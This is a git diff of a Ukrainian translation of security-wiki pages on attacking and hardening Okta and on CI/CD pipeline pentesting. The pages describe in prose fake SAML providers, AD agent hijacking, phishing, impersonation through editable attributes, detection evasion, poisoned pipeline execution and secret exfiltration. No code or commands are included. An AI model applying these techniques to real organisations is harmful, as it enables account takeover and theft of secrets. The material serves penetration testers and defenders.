Ця техніка передбачає викрадення агента AD Okta, спочатку отримавши код OAuth, а потім запитуючи токен API. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого агента AD**. Ініціалізація дозволяє агенту **обробляти спроби автентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних автентифікації в середовищі Okta.
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
### Фальшивий постачальник SAML Okta
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
Техніка передбачає **впровадження фальшивого SAML постачальника**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на аутентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє аутентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб.
|
||||
Техніка передбачає **розгортання фальшивого постачальника SAML**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на автентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє автентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
### Фішинг порталу Okta з Evilgnix
|
||||
|
||||
У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати фішинг-кампанію проти порталу Okta.
|
||||
У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати кампанію фішингу проти порталу Okta.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
### Атака на підроблення колеги
|
||||
|
||||
**Атрибути, які може мати та змінювати кожен користувач** (як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** **довіряє** як ID **атрибуту**, який користувач може **змінити**, він зможе **вдаватись в інших користувачів на цій платформі**.
|
||||
**Атрибути, які може мати та змінювати кожен користувач** (такі як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** довіряє як ID **атрибуту**, який користувач може **змінити**, він зможе **видавати себе за інших користувачів на цій платформі**.
|
||||
|
||||
Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на **електронну адресу колеги** та вдаватися в нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну).
|
||||
Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на електронну адресу колеги та видати себе за нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну).
|
||||
|
||||
Зверніть увагу, що це вдавання залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\
|
||||
Зверніть увагу, що це підроблення залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\
|
||||
Отже, додаток повинен мати це поле увімкненим, якщо воно існує:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців різні додатки налаштовуються по-різному).
|
||||
Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців, різні додатки налаштовуються по-різному).
|
||||
|
||||
Найкращий спосіб дізнатися, чи можете ви вдаватися в когось у кожному додатку, - це спробувати це!
|
||||
Найкращий спосіб дізнатися, чи можете ви видати себе за когось у кожному додатку, - це спробувати це!
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Уникнення політик виявлення поведінки <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторіть токен на **URL конкретного додатка Okta** замість основної сторінки входу.
|
||||
Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторно використовуйте токен на **URL конкретного додатка Okta** замість основної сторінки входу.
|
||||
|
||||
Ключові рекомендації включають:
|
||||
|
||||
@@ -96,9 +96,9 @@
|
||||
- Переконайтеся, що **рядки user-agent** між клієнтом і повторно використаними токенами доступу є послідовними.
|
||||
- **Уникайте повторного використання** токенів від різних користувачів з однієї IP-адреси.
|
||||
- Будьте обережні при повторному використанні токенів проти панелі управління Okta.
|
||||
- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP або їх діапазону, блокуючи весь інший трафік.
|
||||
- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP-адрес або їх діапазону, блокуючи весь інший трафік.
|
||||
|
||||
## Okta Hardening
|
||||
## Укріплення Okta
|
||||
|
||||
Okta має багато можливих конфігурацій, на цій сторінці ви знайдете, як їх перевірити, щоб вони були максимально безпечними:
|
||||
|
||||
@@ -106,7 +106,7 @@ Okta має багато можливих конфігурацій, на цій
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
@@ -8,16 +8,16 @@
|
||||
|
||||
З точки зору атакуючого це дуже цікаво, оскільки ви зможете побачити **всіх зареєстрованих користувачів**, їх **електронні** адреси, **групи**, до яких вони належать, **профілі** та навіть **пристрої** (мобільні разом з їх ОС).
|
||||
|
||||
Для перевірки whitebox переконайтеся, що немає кількох "**Очікує дії користувача**" та "**Скидання пароля**".
|
||||
Для огляду whitebox перевірте, щоб не було кількох "**Очікує дії користувача**" та "**Скидання пароля**".
|
||||
|
||||
### Groups
|
||||
|
||||
Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набір **дозволів**), які можуть бути надані **користувачам**.\
|
||||
Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набори **дозволів**), які можуть бути надані **користувачам**.\
|
||||
Можна побачити **людей, включених до груп** та **додатки, призначені** кожній групі.
|
||||
|
||||
Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Global Administrators**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами.
|
||||
Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Глобальні адміністратори**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами.
|
||||
|
||||
З точки зору whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3).
|
||||
З точки зору огляду whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3).
|
||||
|
||||
### Devices
|
||||
|
||||
@@ -25,13 +25,13 @@
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, внутрішній зловмисник може спробувати **взяти під контроль інші облікові записи**.
|
||||
Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, зловмисник може спробувати **взяти під контроль інші облікові записи**.
|
||||
|
||||
Більше того, у профілі **`User (default)`** з Okta ви можете побачити **які поля** має кожен **користувач** і які з них є **доступними для запису** користувачами. Якщо ви не можете побачити панель адміністратора, просто перейдіть до **оновлення інформації про свій профіль** і ви побачите, які поля ви можете оновити (зверніть увагу, що для оновлення електронної адреси вам потрібно буде її підтвердити).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Довідники дозволяють імпортувати людей з існуючих джерел. Я гадаю, тут ви побачите користувачів, імпортованих з інших довідників.
|
||||
Довідники дозволяють імпортувати людей з існуючих джерел. Я думаю, тут ви побачите користувачів, імпортованих з інших довідників.
|
||||
|
||||
Я цього не бачив, але вважаю, що це цікаво дізнатися **інші довідники, які Okta використовує для імпорту користувачів**, тому якщо ви **компрометуєте цей довідник**, ви могли б встановити деякі значення атрибутів у користувачів, створених в Okta, і **можливо, скомпрометувати середовище Okta**.
|
||||
|
||||
@@ -39,7 +39,7 @@
|
||||
|
||||
Джерело профілю - це **додаток, який діє як джерело правди** для атрибутів профілю користувача. Користувач може бути джерелом лише з одного додатка або довідника одночасно.
|
||||
|
||||
Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде корисною.
|
||||
Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде вдячно прийнята.
|
||||
|
||||
## Customizations
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
Тут ви можете знайти налаштовані додатки, але ми побачимо деталі цих пізніше в іншому розділі.
|
||||
Тут ви можете знайти налаштовані додатки, але ми розглянемо деталі цих пізніше в іншому розділі.
|
||||
|
||||
### Other
|
||||
|
||||
@@ -71,7 +71,7 @@
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
І ви зможете побачити ще кілька деталей про додаток (наприклад, функцію показу пароля, якщо вона увімкнена):
|
||||
І ви зможете побачити деякі деталі про додаток (наприклад, функцію показу пароля, якщо вона увімкнена):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -87,13 +87,13 @@
|
||||
|
||||
### General
|
||||
|
||||
- **Електронні листи сповіщень про безпеку**: Усі повинні бути увімкнені.
|
||||
- **Електронні листи з повідомленнями про безпеку**: Усі повинні бути увімкнені.
|
||||
- **Інтеграція CAPTCHA**: Рекомендується встановити принаймні невидимий reCaptcha
|
||||
- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися (7 днів - це нормально)
|
||||
- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися довго (7 днів - це нормально)
|
||||
- **Запобігання перерахуванню користувачів**: Обидва повинні бути увімкнені
|
||||
- Зверніть увагу, що запобігання перерахуванню користувачів не діє, якщо дозволено будь-яку з наступних умов (Див. [Управління користувачами](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) для отримання додаткової інформації):
|
||||
- Самостійна реєстрація
|
||||
- JIT потоки з автентифікацією електронною поштою
|
||||
- Самообслуговування реєстрації
|
||||
- JIT потоки з електронною аутентифікацією
|
||||
- **Налаштування Okta ThreatInsight**: Логувати та забезпечувати безпеку на основі рівня загрози
|
||||
|
||||
### HealthInsight
|
||||
@@ -102,7 +102,7 @@
|
||||
|
||||
### Authenticators
|
||||
|
||||
Тут ви можете знайти всі методи автентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на автентифікатор пароля, ви можете побачити **політику паролів**. Переконайтеся, що вона сильна.
|
||||
Тут ви можете знайти всі методи аутентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на аутентифікатор пароля, ви можете побачити **політику паролів**. Перевірте, щоб вона була сильною.
|
||||
|
||||
На вкладці **Enrollment** ви можете побачити, які з них є обов'язковими або необов'язковими:
|
||||
|
||||
@@ -112,7 +112,7 @@
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Кожен додаток має політику автентифікації. Політика автентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов.
|
||||
Кожен додаток має політику аутентифікації. Політика аутентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов.
|
||||
|
||||
Тут ви можете знайти **вимоги для доступу до кожного додатка**. Рекомендується вимагати принаймні пароль та інший метод для кожного додатка. Але якщо ви, як атакуючий, знайдете щось більш слабке, ви можете спробувати атакувати його.
|
||||
|
||||
@@ -126,15 +126,15 @@
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Постачальники ідентичності (IdP) - це служби, які **керують обліковими записами користувачів**. Додавання IdP в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку автентифікуючись за допомогою соціального облікового запису або смарт-карти.
|
||||
Постачальники ідентичності (IdPs) - це служби, які **керують обліковими записами користувачів**. Додавання IdPs в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку аутентифікуючись за допомогою соціального облікового запису або смарт-карти.
|
||||
|
||||
На сторінці постачальників ідентичності ви можете додати соціальні входи (IdP) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdP, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти.
|
||||
На сторінці постачальників ідентичності ви можете додати соціальні входи (IdPs) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdPs, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти.
|
||||
|
||||
**Якщо будь-який постачальник ідентичності налаштований** з точки зору атакуючого та захисника, перевірте цю конфігурацію та **чи є джерело дійсно надійним**, оскільки атакуючий, що компрометує його, також може отримати доступ до середовища Okta.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Делегована автентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для **Active Directory (AD) або LDAP** сервера своєї організації.
|
||||
Делегована аутентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для сервера **Active Directory (AD) або LDAP** своєї організації.
|
||||
|
||||
Знову ж таки, перевірте це, оскільки атакуючий, що компрометує AD організації, може мати можливість перейти до Okta завдяки цій настройці.
|
||||
|
||||
@@ -142,21 +142,21 @@
|
||||
|
||||
Мережева зона - це налаштовувана межа, яку ви можете використовувати для **надання або обмеження доступу до комп'ютерів і пристроїв** у вашій організації на основі **IP-адреси**, яка запитує доступ. Ви можете визначити мережеву зону, вказавши одну або кілька окремих IP-адрес, діапазони IP-адрес або географічні місця.
|
||||
|
||||
Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках автентифікації**, сповіщеннях VPN та **правилах маршрутизації**.
|
||||
Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках аутентифікації**, сповіщеннях VPN та **правилах маршрутизації**.
|
||||
|
||||
З точки зору атакуючого цікаво знати, які IP дозволені (і перевірити, чи є якісь **IP більш привілейованими** за інших). З точки зору атакуючого, якщо користувачі повинні отримувати доступ з певної IP-адреси або регіону, перевірте, чи правильно використовується ця функція.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці автентифікації, щоб забезпечити доступ до додатка для керованих пристроїв.
|
||||
- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці аутентифікації, щоб забезпечити, що керовані пристрої мають доступ до додатка.
|
||||
- Я цього ще не бачив. TODO
|
||||
- **Служби сповіщень**: Я цього ще не бачив. TODO
|
||||
|
||||
### API
|
||||
|
||||
Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з дозволами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**.
|
||||
Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з правами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**.
|
||||
|
||||
**Довірені джерела** надають доступ до веб-сайтів, якими ви керуєте та яким довіряєте для доступу до вашої організації Okta через API Okta.
|
||||
**Довірені джерела** надають доступ до веб-сайтів, які ви контролюєте та довіряєте для доступу до вашої організації Okta через API Okta.
|
||||
|
||||
Не повинно бути багато токенів API, оскільки, якщо їх багато, атакуючий може спробувати отримати до них доступ і використовувати їх.
|
||||
|
||||
@@ -164,7 +164,7 @@
|
||||
|
||||
### Automations
|
||||
|
||||
Автоматизації дозволяють вам створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів.
|
||||
Автоматизації дозволяють створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів.
|
||||
|
||||
Наприклад, умовою може бути "Неактивність користувача в Okta" або "Закінчення терміну дії пароля користувача в Okta", а дією може бути "Надіслати електронний лист користувачу" або "Змінити стан життєвого циклу користувача в Okta".
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS означає **Систему Контролю Версій**, ця система дозволяє розробникам **управляти своїм вихідним кодом**. Найбільш поширеною є **git**, і ви зазвичай знайдете компанії, які використовують його на одній з наступних **платформ**:
|
||||
VCS означає **Систему Контролю Версій**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найбільш поширеною є **git**, і ви зазвичай знайдете компанії, які використовують його на одній з наступних **платформ**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -27,25 +27,25 @@ CI/CD пайплайни дозволяють розробникам **авто
|
||||
|
||||
Платформи, які містять вихідний код вашого проекту, містять чутливу інформацію, і людям потрібно бути дуже обережними з правами, наданими всередині цієї платформи. Ось деякі поширені проблеми на платформах VCS, які зловмисник може зловживати:
|
||||
|
||||
- **Витоки**: Якщо ваш код містить витоки в комітах, і зловмисник може отримати доступ до репозиторію (оскільки він публічний або тому, що у нього є доступ), він може виявити витоки.
|
||||
- **Доступ**: Якщо зловмисник може **отримати доступ до облікового запису всередині платформи VCS**, він може отримати **більшу видимість і права**.
|
||||
- **Реєстрація**: Деякі платформи дозволяють зовнішнім користувачам створювати обліковий запис.
|
||||
- **Leaks**: Якщо ваш код містить витоки в комітах, і зловмисник може отримати доступ до репозиторію (оскільки він є публічним або тому, що у нього є доступ), він може виявити витоки.
|
||||
- **Access**: Якщо зловмисник може **отримати доступ до облікового запису всередині платформи VCS**, він може отримати **більшу видимість і права**.
|
||||
- **Register**: Деякі платформи дозволяють зовнішнім користувачам створювати обліковий запис.
|
||||
- **SSO**: Деякі платформи не дозволяють користувачам реєструватися, але дозволяють будь-кому отримати доступ з дійсним SSO (тому зловмисник може використовувати свій обліковий запис github для входу, наприклад).
|
||||
- **Облікові дані**: Ім'я користувача + пароль, особисті токени, ssh ключі, Oauth токени, куки... є кілька видів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію.
|
||||
- **Credentials**: Ім'я користувача + пароль, особисті токени, ssh ключі, Oauth токени, куки... є кілька видів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію.
|
||||
- **Webhooks**: Платформи VCS дозволяють генерувати вебхуки. Якщо вони **не захищені** невидимими секретами, **зловмисник може зловживати ними**.
|
||||
- Якщо секрет не встановлений, зловмисник може зловживати вебхуком третьої сторони.
|
||||
- Якщо секрету немає, зловмисник може зловживати вебхуком третьої сторони.
|
||||
- Якщо секрет у URL, те ж саме відбувається, і зловмисник також має секрет.
|
||||
- **Компрометація коду:** Якщо зловмисник має якийсь вид **доступу на запис** до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб досягти успіху, йому може знадобитися **обійти захист гілок**. Ці дії можуть бути виконані з різними цілями на увазі:
|
||||
- Компрометація основної гілки для **компрометації виробництва**.
|
||||
- Компрометація основної (або інших гілок) для **компрометації машин розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі всередині репозиторію на своїх машинах).
|
||||
- **Компрометація пайплайна** (перевірте наступний розділ).
|
||||
- **Code compromise:** Якщо зловмисник має якийсь вид **доступу на запис** до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб досягти успіху, йому може знадобитися **обійти захист гілок**. Ці дії можуть бути виконані з різними цілями на увазі:
|
||||
- Скомпрометувати основну гілку, щоб **скомпрометувати виробництво**.
|
||||
- Скомпрометувати основну (або інші гілки), щоб **скомпрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі всередині репозиторію на своїх машинах).
|
||||
- **Скомпрометувати пайплайн** (перевірте наступний розділ).
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Найпоширеніший спосіб визначити пайплайн - це використання **файлу конфігурації CI, розміщеного в репозиторії**, який будує пайплайн. Цей файл описує порядок виконуваних завдань, умови, які впливають на потік, і налаштування середовища збірки.\
|
||||
Ці файли зазвичай мають послідовну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) та YAML файли GitHub Actions, розташовані під .github/workflows. Коли пайплайн ініціюється, завдання пайплайна **витягує код** з вибраного джерела (наприклад, коміт / гілка) і **виконує команди, зазначені у файлі конфігурації CI** проти цього коду.
|
||||
|
||||
Отже, остаточна мета зловмисника полягає в тому, щоб якимось чином **компрометувати ці файли конфігурації** або **команди, які вони виконують**.
|
||||
Отже, остаточною метою зловмисника є якимось чином **скомпрометувати ці файли конфігурації** або **команди, які вони виконують**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
@@ -60,8 +60,8 @@ CI/CD пайплайни дозволяють розробникам **авто
|
||||
|
||||
Існує 3 варіанти PPE:
|
||||
|
||||
- **D-PPE**: Атака **Прямого PPE** відбувається, коли зловмисник **змінює файл конфігурації CI**, який буде виконано.
|
||||
- **I-DDE**: Атака **Непрямого PPE** відбувається, коли зловмисник **змінює** **файл**, на який **покладається** файл конфігурації CI, що буде виконано (наприклад, make файл або конфігурацію terraform).
|
||||
- **D-PPE**: Атака **Direct PPE** відбувається, коли зловмисник **змінює файл конфігурації CI**, який буде виконано.
|
||||
- **I-DDE**: Атака **Indirect PPE** відбувається, коли зловмисник **змінює** **файл**, на який **посилається** файл конфігурації CI, що буде виконано (наприклад, файл make або конфігурацію terraform).
|
||||
- **Public PPE або 3PE**: У деяких випадках пайплайни можуть бути **ініційовані користувачами, які не мають доступу на запис у репозиторії** (і які можуть навіть не бути частиною організації), оскільки вони можуть надіслати PR.
|
||||
- **3PE Command Injection**: Зазвичай CI/CD пайплайни **встановлюють змінні середовища** з **інформацією про PR**. Якщо це значення може контролюватися зловмисником (наприклад, заголовок PR) і **використовується** в **небезпечному місці** (наприклад, виконуючи **sh команди**), зловмисник може **впроваджувати команди туди**.
|
||||
|
||||
@@ -69,33 +69,33 @@ CI/CD пайплайни дозволяють розробникам **авто
|
||||
|
||||
Знаючи 3 варіанти отруєння пайплайна, давайте перевіримо, що зловмисник може отримати після успішної експлуатації:
|
||||
|
||||
- **Секрети**: Як вже згадувалося раніше, пайплайни вимагають **привілеїв** для своїх завдань (отримання коду, його збірка, розгортання...) і ці привілеї зазвичай **надаються в секретах**. Ці секрети зазвичай доступні через **змінні середовища або файли всередині системи**. Тому зловмисник завжди намагатиметься ексфільтрувати якомога більше секретів.
|
||||
- **Secrets**: Як вже згадувалося раніше, пайплайни вимагають **привілеїв** для своїх завдань (отримання коду, його збірка, розгортання...) і ці привілеї зазвичай **надаються в секретах**. Ці секрети зазвичай доступні через **змінні середовища або файли всередині системи**. Тому зловмисник завжди намагатиметься ексфільтрувати якомога більше секретів.
|
||||
- Залежно від платформи пайплайна зловмисник **може знадобитися вказати секрети в конфігурації**. Це означає, що якщо зловмисник не може змінити конфігурацію CI пайплайна (**I-PPE**, наприклад), він може **лише ексфільтрувати секрети, які має цей пайплайн**.
|
||||
- **Обчислення**: Код виконується десь, залежно від того, де він виконується, зловмисник може мати можливість подальшого переміщення.
|
||||
- **On-Premises**: Якщо пайплайни виконуються на місці, зловмисник може опинитися в **внутрішній мережі з доступом до більше ресурсів**.
|
||||
- **Cloud**: Зловмисник може отримати доступ до **інших машин у хмарі**, але також може **ексфільтрувати** токени IAM ролей/облікових записів **з нього**, щоб отримати **додатковий доступ всередині хмари**.
|
||||
- **Платформи машини**: Іноді завдання виконуються всередині **машин платформи пайплайнів**, які зазвичай знаходяться в хмарі з **без додаткового доступу**.
|
||||
- **Вибрати це:** Іноді **платформа пайплайнів має налаштовані кілька машин**, і якщо ви можете **змінити файл конфігурації CI**, ви можете **вказати, де хочете виконати шкідливий код**. У цій ситуації зловмисник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати експлуатувати її далі.
|
||||
- **Компрометація виробництва**: Якщо ви знаходитесь всередині пайплайна, і фінальна версія будується та розгортається з нього, ви можете **компрометувати код, який буде виконуватися в виробництві**.
|
||||
- **Computation**: Код виконується десь, залежно від того, де він виконується, зловмисник може мати можливість подальшого переміщення.
|
||||
- **On-Premises**: Якщо пайплайни виконуються на місці, зловмисник може опинитися в **внутрішній мережі з доступом до більшої кількості ресурсів**.
|
||||
- **Cloud**: Зловмисник може отримати доступ до **інших машин у хмарі**, але також може **ексфільтрувати** токени IAM ролей/облікових записів **для отримання подальшого доступу всередині хмари**.
|
||||
- **Platforms machine**: Іноді завдання виконуються всередині **машин платформи пайплайнів**, які зазвичай знаходяться в хмарі з **без додаткового доступу**.
|
||||
- **Select it:** Іноді **платформа пайплайнів має налаштовані кілька машин**, і якщо ви можете **змінити файл конфігурації CI**, ви можете **вказати, де хочете виконати шкідливий код**. У цій ситуації зловмисник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати подальше експлуатувати її.
|
||||
- **Compromise production**: Якщо ви знаходитесь всередині пайплайна, і фінальна версія будується та розгортається з нього, ви можете **скомпрометувати код, який буде виконуватися в виробництві**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) є інструментом з відкритим кодом для аудиту вашого стеку постачання програмного забезпечення на предмет відповідності безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджується на всьому процесі SDLC, де він може виявити ризики від часу коду до часу розгортання.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) - це інструмент з відкритим кодом для аудиту вашого стеку постачання програмного забезпечення на предмет відповідності безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджується на всьому процесі SDLC, де він може виявити ризики від часу коду до часу розгортання.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Перевірте цю цікаву статтю про топ 10 ризиків CI/CD відповідно до Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Перегляньте цю цікаву статтю про топ-10 ризиків CI/CD відповідно до Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- На кожній платформі, яку ви можете запустити локально, ви знайдете, як запустити її локально, щоб ви могли налаштувати її так, як вам потрібно, щоб протестувати.
|
||||
- На кожній платформі, яку ви можете запустити локально, ви знайдете, як запустити її локально, щоб ви могли налаштувати її на свій розсуд для тестування.
|
||||
- Лабораторія Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** є інструментом статичного аналізу коду для інфраструктури як коду.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
### Organization
|
||||
### Організація
|
||||
|
||||
